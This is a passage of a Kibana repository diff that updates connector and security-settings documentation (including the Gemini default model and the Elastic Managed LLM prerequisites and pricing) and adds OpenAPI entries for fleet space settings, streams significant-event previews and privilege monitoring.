ECS audit log output; it's only necessary to set `xpack.security.audit.enabled` to `true` - -`xpack.security.audit.ignore_filters` -: List of filters that determine which audit events should be excluded from the ECS audit log. - -`xpack.security.audit.appender.kind` -: When set to _"rolling-file"_ and `xpack.security.audit.enabled` is set to _true_, Kibana ECS audit logs are enabled. \ No newline at end of file +For details on audit logging settings, refer to the [{{kib}} security settings](./security-settings.md#audit-logging-settings). \ No newline at end of file diff --git a/docs/reference/configuration-reference/security-settings.md b/docs/reference/configuration-reference/security-settings.md index ed9475568347a..b01ab3dd8788f 100644 --- a/docs/reference/configuration-reference/security-settings.md +++ b/docs/reference/configuration-reference/security-settings.md @@ -120,8 +120,9 @@ xpack.security.authc.providers.saml..useRelayStateDeepLink ![logo % TBD: Available only on Elastic Cloud? #### Discontinued SAML settings + ```{applies_to} -ess: discontinued 8.0 +ess: removed 8.0 ``` The following settings are available in {{ecloud}} for all supported versions before 8.0: diff --git a/docs/reference/connectors-kibana/elastic-managed-llm.md b/docs/reference/connectors-kibana/elastic-managed-llm.md index 6791d983d4836..efa2cc03571ff 100644 --- a/docs/reference/connectors-kibana/elastic-managed-llm.md +++ b/docs/reference/connectors-kibana/elastic-managed-llm.md @@ -1,5 +1,8 @@ --- navigation_title: "Elastic Managed LLM" +applies_to: + stack: ga 9.0 + serverless: ga --- # Elastic Managed LLM @@ -11,9 +14,13 @@ Details of the currently used model are available in the [model card](https://ra The default LLM may change in the future based on evaluations of performance, security, and accuracy. :::: +## Prerequisites + +* Requires the `manage_inference` [cluster privilege](https://www.elastic.co/docs/reference/elasticsearch/security-privileges#privileges-list-cluster) (the built-in `inference_admin` role grants this privilege) + ## Region and hosting -The Elastic Managed LLM is currently proxying to AWS Bedrock in AWS US regions, beginning with `us-east-1`. +The Elastic Managed LLM is currently proxying to AWS Bedrock in AWS US regions, beginning with `us-east-1`. ## Data protection @@ -24,3 +31,10 @@ Only request metadata is logged in AWS CloudWatch. No information related to prompts is retained. Logged metadata includes the timestamp, model used, region, and request status. +Read more at our [AI Data FAQs](https://www.elastic.co/trust/ai-data-faq) to learn about our data practices for AI related features. + +## Pricing + +The Elastic Managed LLM incurs a cost per million tokens for input and output tokens. Refer to the Elastic Cloud [pricing pages](https://www.elastic.co/pricing) for details. + + diff --git a/docs/reference/connectors-kibana/email-action-type.md b/docs/reference/connectors-kibana/email-action-type.md index 49190ac84b98c..d9b3bdfc52393 100644 --- a/docs/reference/connectors-kibana/email-action-type.md +++ b/docs/reference/connectors-kibana/email-action-type.md @@ -101,7 +101,7 @@ For other email servers, you can check the list of well-known services that Node Use the preconfigured email connector (`Elastic-Cloud-SMTP`) to send emails from {{ecloud}}. ::::{note} -For more information on the preconfigured email connector, see [{{ecloud}} email service limits](docs-content://explore-analyze/alerts-cases/watcher/enable-watcher.md#cloud-email-service-limits). +For more information on the preconfigured email connector, see [{{ecloud}} email service limits](docs-content://deploy-manage/deploy/elastic-cloud/tools-apis.md#email-service-limits). :::: ### Gmail [gmail] diff --git a/docs/reference/connectors-kibana/gemini-action-type.md b/docs/reference/connectors-kibana/gemini-action-type.md index be3829ccaf32a..4a2331377ec03 100644 --- a/docs/reference/connectors-kibana/gemini-action-type.md +++ b/docs/reference/connectors-kibana/gemini-action-type.md @@ -37,7 +37,7 @@ Region : The GCP region where the Vertex AI endpoint enabled. Default model -: The GAI model for {{gemini}} to use. Current support is for the Google Gemini models, defaulting to gemini-1.5-pro-002. The model can be set on a per request basis by including a "model" parameter alongside the request body. +: The GAI model for {{gemini}} to use. Current support is for the Google Gemini models, defaulting to gemini-2.5-pro. The model can be set on a per request basis by including a "model" parameter alongside the request body. Credentials JSON : The GCP service account JSON file for authentication. diff --git a/docs/settings-gen/source/kibana-alert-action-settings.yml b/docs/settings-gen/source/kibana-alert-action-settings.yml index f6f15fddd8360..182c33b6856a8 100644 --- a/docs/settings-gen/source/kibana-alert-action-settings.yml +++ b/docs/settings-gen/source/kibana-alert-action-settings.yml @@ -281,8 +281,8 @@ groups: self: all ess: all # example: | - - - setting: xpack.actions.email.services.ses.host + + - setting: xpack.actions.email.services.ses.host id: action-config-email-services-ses-host description: | The SMTP endpoint for an Amazon Simple Email Service (SES) service provider that can be used by email connectors. @@ -1139,8 +1139,8 @@ groups: * For an [{{bedrock}} connector](/kibana/docs/reference/connectors-kibana/bedrock-action-type.md), current support is for the Anthropic Claude models. * In {{serverless-full}}, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. * In {{stack}} 9.0, the default is `anthropic.claude-3-5-sonnet-20240620-v1:0`. - * In {{stack}} 9.1 and later, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. {applies_to}`stack: planned 9.1` - * For a [{{gemini}} connector](/kibana/docs/reference/connectors-kibana/gemini-action-type.md), current support is for the Gemini models. Defaults to `gemini-1.5-pro-002`. + * In {{stack}} 9.1 and later, the default is `us.anthropic.claude-3-7-sonnet-20250219-v1:0`. {applies_to}`stack: ga 9.1` + * For a [{{gemini}} connector](/kibana/docs/reference/connectors-kibana/gemini-action-type.md), current support is for the Gemini models. Defaults to `gemini-2.5-pro`. * For a [OpenAI connector](/kibana/docs/reference/connectors-kibana/openai-action-type.md), it is optional and applicable only when `xpack.actions.preconfigured..config.apiProvider` is `OpenAI`. # state: deprecated/hidden/tech-preview # deprecation_details: "" diff --git a/fleet_packages.json b/fleet_packages.json index cab7cfa4c5f67..b99d6cc23ff49 100644 --- a/fleet_packages.json +++ b/fleet_packages.json @@ -56,6 +56,6 @@ }, { "name": "security_detection_engine", - "version": "9.0.7" + "version": "9.1.1" } ] \ No newline at end of file diff --git a/oas_docs/bundle.json b/oas_docs/bundle.json index 474f0996eb2d3..de787cb6f4dc6 100644 --- a/oas_docs/bundle.json +++ b/oas_docs/bundle.json @@ -42392,6 +42392,120 @@ ] } }, + "/api/fleet/space_settings": { + "get": { + "operationId": "get-fleet-space-settings", + "parameters": [], + "responses": { + "200": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "item": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + }, + "managed_by": { + "type": "string" + } + }, + "required": [ + "allowed_namespace_prefixes" + ], + "type": "object" + } + }, + "required": [ + "item" + ], + "type": "object" + } + } + } + } + }, + "summary": "Get space settings", + "tags": [] + }, + "put": { + "description": "[Required authorization] Route required privileges: fleet-settings-all.", + "operationId": "put-fleet-space-settings", + "parameters": [ + { + "description": "A required header to protect against CSRF attacks", + "in": "header", + "name": "kbn-xsrf", + "required": true, + "schema": { + "example": "true", + "type": "string" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "item": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + }, + "managed_by": { + "type": "string" + } + }, + "required": [ + "allowed_namespace_prefixes" + ], + "type": "object" + } + }, + "required": [ + "item" + ], + "type": "object" + } + } + } + } + }, + "summary": "Create space settings", + "tags": [] + } + }, "/api/fleet/uninstall_tokens": { "get": { "description": "List the metadata for the latest uninstall tokens per agent policy.

[Required authorization] Route required privileges: fleet-agents-all.", @@ -46289,7 +46403,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -48401,7 +48514,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -50228,7 +50340,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -52087,7 +52198,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -53916,7 +54026,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58578,7 +58687,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58747,7 +58855,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58796,7 +58903,6 @@ "name": "from", "required": true, "schema": { - "format": "date-time", "type": "string" } }, @@ -58805,7 +58911,6 @@ "name": "to", "required": true, "schema": { - "format": "date-time", "type": "string" } }, @@ -58849,6 +58954,98 @@ ], "x-state": "Technical Preview" } + }, + "/api/streams/{name}/significant_events/_preview": { + "post": { + "description": "Preview significant event results based on a given query

[Required authorization] Route required privileges: read_stream.", + "operationId": "post-streams-name-significant-events-preview", + "parameters": [ + { + "description": "A required header to protect against CSRF attacks", + "in": "header", + "name": "kbn-xsrf", + "required": true, + "schema": { + "example": "true", + "type": "string" + } + }, + { + "in": "path", + "name": "name", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "from", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "to", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "bucketSize", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "query": { + "additionalProperties": false, + "properties": { + "kql": { + "additionalProperties": false, + "properties": { + "query": { + "type": "string" + } + }, + "required": [ + "query" + ], + "type": "object" + } + }, + "required": [ + "kql" + ], + "type": "object" + } + }, + "required": [ + "query" + ], + "type": "object" + } + } + } + }, + "responses": {}, + "summary": "Preview significant events", + "tags": [ + "streams" + ], + "x-state": "Technical Preview" + } } }, "security": [ diff --git a/oas_docs/bundle.serverless.json b/oas_docs/bundle.serverless.json index 29bf906833343..c69b0c7fa9307 100644 --- a/oas_docs/bundle.serverless.json +++ b/oas_docs/bundle.serverless.json @@ -42392,6 +42392,120 @@ ] } }, + "/api/fleet/space_settings": { + "get": { + "operationId": "get-fleet-space-settings", + "parameters": [], + "responses": { + "200": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "item": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + }, + "managed_by": { + "type": "string" + } + }, + "required": [ + "allowed_namespace_prefixes" + ], + "type": "object" + } + }, + "required": [ + "item" + ], + "type": "object" + } + } + } + } + }, + "summary": "Get space settings", + "tags": [] + }, + "put": { + "description": "[Required authorization] Route required privileges: fleet-settings-all.", + "operationId": "put-fleet-space-settings", + "parameters": [ + { + "description": "A required header to protect against CSRF attacks", + "in": "header", + "name": "kbn-xsrf", + "required": true, + "schema": { + "example": "true", + "type": "string" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "item": { + "additionalProperties": false, + "properties": { + "allowed_namespace_prefixes": { + "items": { + "type": "string" + }, + "type": "array" + }, + "managed_by": { + "type": "string" + } + }, + "required": [ + "allowed_namespace_prefixes" + ], + "type": "object" + } + }, + "required": [ + "item" + ], + "type": "object" + } + } + } + } + }, + "summary": "Create space settings", + "tags": [] + } + }, "/api/fleet/uninstall_tokens": { "get": { "description": "List the metadata for the latest uninstall tokens per agent policy.

[Required authorization] Route required privileges: fleet-agents-all.", @@ -45880,7 +45994,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -47992,7 +48105,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -49819,7 +49931,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -51678,7 +51789,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -53507,7 +53617,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58169,7 +58278,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58338,7 +58446,6 @@ "additionalProperties": false, "properties": { "query": { - "minLength": 1, "type": "string" } }, @@ -58387,7 +58494,6 @@ "name": "from", "required": true, "schema": { - "format": "date-time", "type": "string" } }, @@ -58396,7 +58502,6 @@ "name": "to", "required": true, "schema": { - "format": "date-time", "type": "string" } }, @@ -58440,6 +58545,98 @@ ], "x-state": "Technical Preview" } + }, + "/api/streams/{name}/significant_events/_preview": { + "post": { + "description": "Preview significant event results based on a given query

[Required authorization] Route required privileges: read_stream.", + "operationId": "post-streams-name-significant-events-preview", + "parameters": [ + { + "description": "A required header to protect against CSRF attacks", + "in": "header", + "name": "kbn-xsrf", + "required": true, + "schema": { + "example": "true", + "type": "string" + } + }, + { + "in": "path", + "name": "name", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "from", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "to", + "required": true, + "schema": { + "type": "string" + } + }, + { + "in": "query", + "name": "bucketSize", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "additionalProperties": false, + "properties": { + "query": { + "additionalProperties": false, + "properties": { + "kql": { + "additionalProperties": false, + "properties": { + "query": { + "type": "string" + } + }, + "required": [ + "query" + ], + "type": "object" + } + }, + "required": [ + "kql" + ], + "type": "object" + } + }, + "required": [ + "query" + ], + "type": "object" + } + } + } + }, + "responses": {}, + "summary": "Preview significant events", + "tags": [ + "streams" + ], + "x-state": "Technical Preview" + } } }, "security": [ diff --git a/oas_docs/output/kibana.serverless.yaml b/oas_docs/output/kibana.serverless.yaml index ca356d87411d6..bddf82d519189 100644 --- a/oas_docs/output/kibana.serverless.yaml +++ b/oas_docs/output/kibana.serverless.yaml @@ -141,7 +141,7 @@ tags: x-displayName: Security detections - description: Endpoint Exceptions API allows you to manage detection rule endpoint exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met. name: Security Endpoint Exceptions API - x-displayName: Security endpoint exceptions + x-displayName: Security Elastic Endpoint exceptions - description: Interact with and manage endpoints running the Elastic Defend integration. name: Security Endpoint Management API x-displayName: Security endpoint management @@ -10142,7 +10142,7 @@ paths: - Security Detections API /api/endpoint_list: post: - description: Create an endpoint exception list, which groups endpoint exception list items. If an endpoint exception list already exists, an empty response is returned. + description: Create the exception list for Elastic Endpoint rule exceptions. When you create the exception list, it will have a `list_id` of `endpoint_list`. If the Elastic Endpoint exception list already exists, your request will return an empty response. operationId: CreateEndpointList responses: '200': @@ -10177,12 +10177,12 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list + summary: Create an Elastic Endpoint rule exception list tags: - Security Endpoint Exceptions API /api/endpoint_list/items: delete: - description: Delete an endpoint exception list item using the `id` or `item_id` field. + description: Delete an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: DeleteEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -10236,11 +10236,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Delete an endpoint exception list item + summary: Delete an Elastic Endpoint exception list item tags: - Security Endpoint Exceptions API get: - description: Get the details of an endpoint exception list item using the `id` or `item_id` field. + description: Get the details of an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: ReadEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -10296,11 +10296,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Get an endpoint exception list item + summary: Get an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API post: - description: Create an endpoint exception list item, and associate it with the endpoint exception list. + description: Create an Elastic Endpoint exception list item, and associate it with the Elastic Endpoint exception list. operationId: CreateEndpointListItem requestBody: content: @@ -10375,11 +10375,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list item + summary: Create an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API put: - description: Update an endpoint exception list item using the `id` or `item_id` field. + description: Update an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: UpdateEndpointListItem requestBody: content: @@ -10459,12 +10459,12 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Update an endpoint exception list item + summary: Update an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API /api/endpoint_list/items/_find: get: - description: Get a list of all endpoint exception list items. + description: Get a list of all Elastic Endpoint exception list items. operationId: FindEndpointListItems parameters: - description: | @@ -10564,7 +10564,7 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Get endpoint exception list items + summary: Get Elastic Endpoint exception list items tags: - Security Endpoint Exceptions API /api/endpoint/action: @@ -11191,6 +11191,27 @@ paths: summary: Health check on Privilege Monitoring tags: - Security Entity Analytics API + /api/entity_analytics/monitoring/privileges/privileges: + get: + description: Check if the current user has all required permissions for Privilege Monitoring + operationId: PrivMonPrivileges + responses: + '200': + content: + application/json: + example: + has_all_required: true + privileges: + elasticsearch: + index: + .entity_analytics.monitoring.user-default: + read: true + schema: + $ref: '#/components/schemas/Security_Entity_Analytics_API_EntityAnalyticsPrivileges' + description: Successful response + summary: Run a privileges check on Privilege Monitoring + tags: + - Security Entity Analytics API /api/entity_analytics/monitoring/users: post: operationId: CreatePrivMonUser @@ -37751,6 +37772,80 @@ paths: summary: Initiate Fleet setup tags: - Fleet internals + /api/fleet/space_settings: + get: + operationId: get-fleet-space-settings + parameters: [] + responses: + '200': + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + item: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + managed_by: + type: string + required: + - allowed_namespace_prefixes + required: + - item + summary: Get space settings + tags: [] + put: + description: '[Required authorization] Route required privileges: fleet-settings-all.' + operationId: put-fleet-space-settings + parameters: + - description: A required header to protect against CSRF attacks + in: header + name: kbn-xsrf + required: true + schema: + example: 'true' + type: string + requestBody: + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + responses: + '200': + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + item: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + managed_by: + type: string + required: + - allowed_namespace_prefixes + required: + - item + summary: Create space settings + tags: [] /api/fleet/uninstall_tokens: get: description: 'List the metadata for the latest uninstall tokens per agent policy.

[Required authorization] Route required privileges: fleet-agents-all.' @@ -44411,7 +44506,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -45743,7 +45837,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -46908,7 +47001,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -48093,7 +48185,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -49258,7 +49349,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -52220,7 +52310,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -52321,7 +52410,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -52350,13 +52438,11 @@ paths: name: from required: true schema: - format: date-time type: string - in: query name: to required: true schema: - format: date-time type: string - in: query name: bucketSize @@ -52380,6 +52466,66 @@ paths: tags: - streams x-state: Technical Preview + /api/streams/{name}/significant_events/_preview: + post: + description: 'Preview significant event results based on a given query

[Required authorization] Route required privileges: read_stream.' + operationId: post-streams-name-significant-events-preview + parameters: + - description: A required header to protect against CSRF attacks + in: header + name: kbn-xsrf + required: true + schema: + example: 'true' + type: string + - in: path + name: name + required: true + schema: + type: string + - in: query + name: from + required: true + schema: + type: string + - in: query + name: to + required: true + schema: + type: string + - in: query + name: bucketSize + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + query: + additionalProperties: false + type: object + properties: + kql: + additionalProperties: false + type: object + properties: + query: + type: string + required: + - query + required: + - kql + required: + - query + responses: {} + summary: Preview significant events + tags: + - streams + x-state: Technical Preview /api/task_manager/_health: get: description: | @@ -64841,7 +64987,7 @@ components: example: This list tracks allowlisted values. type: string Security_Endpoint_Exceptions_API_ExceptionListHumanId: - description: Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -66742,6 +66888,40 @@ components: - $ref: '#/components/schemas/Security_Entity_Analytics_API_HostEntity' - $ref: '#/components/schemas/Security_Entity_Analytics_API_ServiceEntity' - $ref: '#/components/schemas/Security_Entity_Analytics_API_GenericEntity' + Security_Entity_Analytics_API_EntityAnalyticsPrivileges: + type: object + properties: + has_all_required: + type: boolean + has_read_permissions: + type: boolean + has_write_permissions: + type: boolean + privileges: + type: object + properties: + elasticsearch: + type: object + properties: + cluster: + additionalProperties: + type: boolean + type: object + index: + additionalProperties: + additionalProperties: + type: boolean + type: object + type: object + kibana: + additionalProperties: + type: boolean + type: object + required: + - elasticsearch + required: + - has_all_required + - privileges Security_Entity_Analytics_API_EntityRiskLevels: enum: - Unknown @@ -67426,7 +67606,7 @@ components: example: This list tracks allowlisted values. type: string Security_Exceptions_API_ExceptionListHumanId: - description: Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -71156,7 +71336,7 @@ components: defaultModel: type: string description: The generative artificial intelligence model for Google Gemini to use. - default: gemini-1.5-pro-002 + default: gemini-2.5-pro gcpRegion: type: string description: The GCP region where the Vertex AI endpoint enabled. diff --git a/oas_docs/output/kibana.yaml b/oas_docs/output/kibana.yaml index 0a330c77dadbf..78b4e5019c695 100644 --- a/oas_docs/output/kibana.yaml +++ b/oas_docs/output/kibana.yaml @@ -168,7 +168,7 @@ tags: x-displayName: Security detections - description: Endpoint Exceptions API allows you to manage detection rule endpoint exceptions to prevent a rule from generating an alert from incoming events even when the rule's other criteria are met. name: Security Endpoint Exceptions API - x-displayName: Security endpoint exceptions + x-displayName: Security Elastic Endpoint exceptions - description: Interact with and manage endpoints running the Elastic Defend integration. name: Security Endpoint Management API x-displayName: Security endpoint management @@ -12301,7 +12301,7 @@ paths: - saved objects /api/endpoint_list: post: - description: Create an endpoint exception list, which groups endpoint exception list items. If an endpoint exception list already exists, an empty response is returned. + description: Create the exception list for Elastic Endpoint rule exceptions. When you create the exception list, it will have a `list_id` of `endpoint_list`. If the Elastic Endpoint exception list already exists, your request will return an empty response. operationId: CreateEndpointList responses: '200': @@ -12336,12 +12336,12 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list + summary: Create an Elastic Endpoint rule exception list tags: - Security Endpoint Exceptions API /api/endpoint_list/items: delete: - description: Delete an endpoint exception list item using the `id` or `item_id` field. + description: Delete an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: DeleteEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -12395,11 +12395,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Delete an endpoint exception list item + summary: Delete an Elastic Endpoint exception list item tags: - Security Endpoint Exceptions API get: - description: Get the details of an endpoint exception list item using the `id` or `item_id` field. + description: Get the details of an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: ReadEndpointListItem parameters: - description: Either `id` or `item_id` must be specified @@ -12455,11 +12455,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Get an endpoint exception list item + summary: Get an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API post: - description: Create an endpoint exception list item, and associate it with the endpoint exception list. + description: Create an Elastic Endpoint exception list item, and associate it with the Elastic Endpoint exception list. operationId: CreateEndpointListItem requestBody: content: @@ -12534,11 +12534,11 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Create an endpoint exception list item + summary: Create an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API put: - description: Update an endpoint exception list item using the `id` or `item_id` field. + description: Update an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. operationId: UpdateEndpointListItem requestBody: content: @@ -12618,12 +12618,12 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Update an endpoint exception list item + summary: Update an Elastic Endpoint rule exception list item tags: - Security Endpoint Exceptions API /api/endpoint_list/items/_find: get: - description: Get a list of all endpoint exception list items. + description: Get a list of all Elastic Endpoint exception list items. operationId: FindEndpointListItems parameters: - description: | @@ -12723,7 +12723,7 @@ paths: schema: $ref: '#/components/schemas/Security_Endpoint_Exceptions_API_SiemErrorResponse' description: Internal server error - summary: Get endpoint exception list items + summary: Get Elastic Endpoint exception list items tags: - Security Endpoint Exceptions API /api/endpoint/action: @@ -13350,6 +13350,27 @@ paths: summary: Health check on Privilege Monitoring tags: - Security Entity Analytics API + /api/entity_analytics/monitoring/privileges/privileges: + get: + description: Check if the current user has all required permissions for Privilege Monitoring + operationId: PrivMonPrivileges + responses: + '200': + content: + application/json: + example: + has_all_required: true + privileges: + elasticsearch: + index: + .entity_analytics.monitoring.user-default: + read: true + schema: + $ref: '#/components/schemas/Security_Entity_Analytics_API_EntityAnalyticsPrivileges' + description: Successful response + summary: Run a privileges check on Privilege Monitoring + tags: + - Security Entity Analytics API /api/entity_analytics/monitoring/users: post: operationId: CreatePrivMonUser @@ -39993,6 +40014,80 @@ paths: summary: Initiate Fleet setup tags: - Fleet internals + /api/fleet/space_settings: + get: + operationId: get-fleet-space-settings + parameters: [] + responses: + '200': + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + item: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + managed_by: + type: string + required: + - allowed_namespace_prefixes + required: + - item + summary: Get space settings + tags: [] + put: + description: '[Required authorization] Route required privileges: fleet-settings-all.' + operationId: put-fleet-space-settings + parameters: + - description: A required header to protect against CSRF attacks + in: header + name: kbn-xsrf + required: true + schema: + example: 'true' + type: string + requestBody: + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + responses: + '200': + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + item: + additionalProperties: false + type: object + properties: + allowed_namespace_prefixes: + items: + type: string + type: array + managed_by: + type: string + required: + - allowed_namespace_prefixes + required: + - item + summary: Create space settings + tags: [] /api/fleet/uninstall_tokens: get: description: 'List the metadata for the latest uninstall tokens per agent policy.

[Required authorization] Route required privileges: fleet-agents-all.' @@ -47932,7 +48027,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -49264,7 +49358,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -50429,7 +50522,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -51614,7 +51706,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -52779,7 +52870,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -55741,7 +55831,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -55842,7 +55931,6 @@ paths: type: object properties: query: - minLength: 1 type: string required: - query @@ -55871,13 +55959,11 @@ paths: name: from required: true schema: - format: date-time type: string - in: query name: to required: true schema: - format: date-time type: string - in: query name: bucketSize @@ -55901,6 +55987,66 @@ paths: tags: - streams x-state: Technical Preview + /api/streams/{name}/significant_events/_preview: + post: + description: 'Preview significant event results based on a given query

[Required authorization] Route required privileges: read_stream.' + operationId: post-streams-name-significant-events-preview + parameters: + - description: A required header to protect against CSRF attacks + in: header + name: kbn-xsrf + required: true + schema: + example: 'true' + type: string + - in: path + name: name + required: true + schema: + type: string + - in: query + name: from + required: true + schema: + type: string + - in: query + name: to + required: true + schema: + type: string + - in: query + name: bucketSize + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + additionalProperties: false + type: object + properties: + query: + additionalProperties: false + type: object + properties: + kql: + additionalProperties: false + type: object + properties: + query: + type: string + required: + - query + required: + - kql + required: + - query + responses: {} + summary: Preview significant events + tags: + - streams + x-state: Technical Preview /api/synthetics/monitors: get: description: | @@ -74404,7 +74550,7 @@ components: example: This list tracks allowlisted values. type: string Security_Endpoint_Exceptions_API_ExceptionListHumanId: - description: Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -76305,6 +76451,40 @@ components: - $ref: '#/components/schemas/Security_Entity_Analytics_API_HostEntity' - $ref: '#/components/schemas/Security_Entity_Analytics_API_ServiceEntity' - $ref: '#/components/schemas/Security_Entity_Analytics_API_GenericEntity' + Security_Entity_Analytics_API_EntityAnalyticsPrivileges: + type: object + properties: + has_all_required: + type: boolean + has_read_permissions: + type: boolean + has_write_permissions: + type: boolean + privileges: + type: object + properties: + elasticsearch: + type: object + properties: + cluster: + additionalProperties: + type: boolean + type: object + index: + additionalProperties: + additionalProperties: + type: boolean + type: object + type: object + kibana: + additionalProperties: + type: boolean + type: object + required: + - elasticsearch + required: + - has_all_required + - privileges Security_Entity_Analytics_API_EntityRiskLevels: enum: - Unknown @@ -76989,7 +77169,7 @@ components: example: This list tracks allowlisted values. type: string Security_Exceptions_API_ExceptionListHumanId: - description: 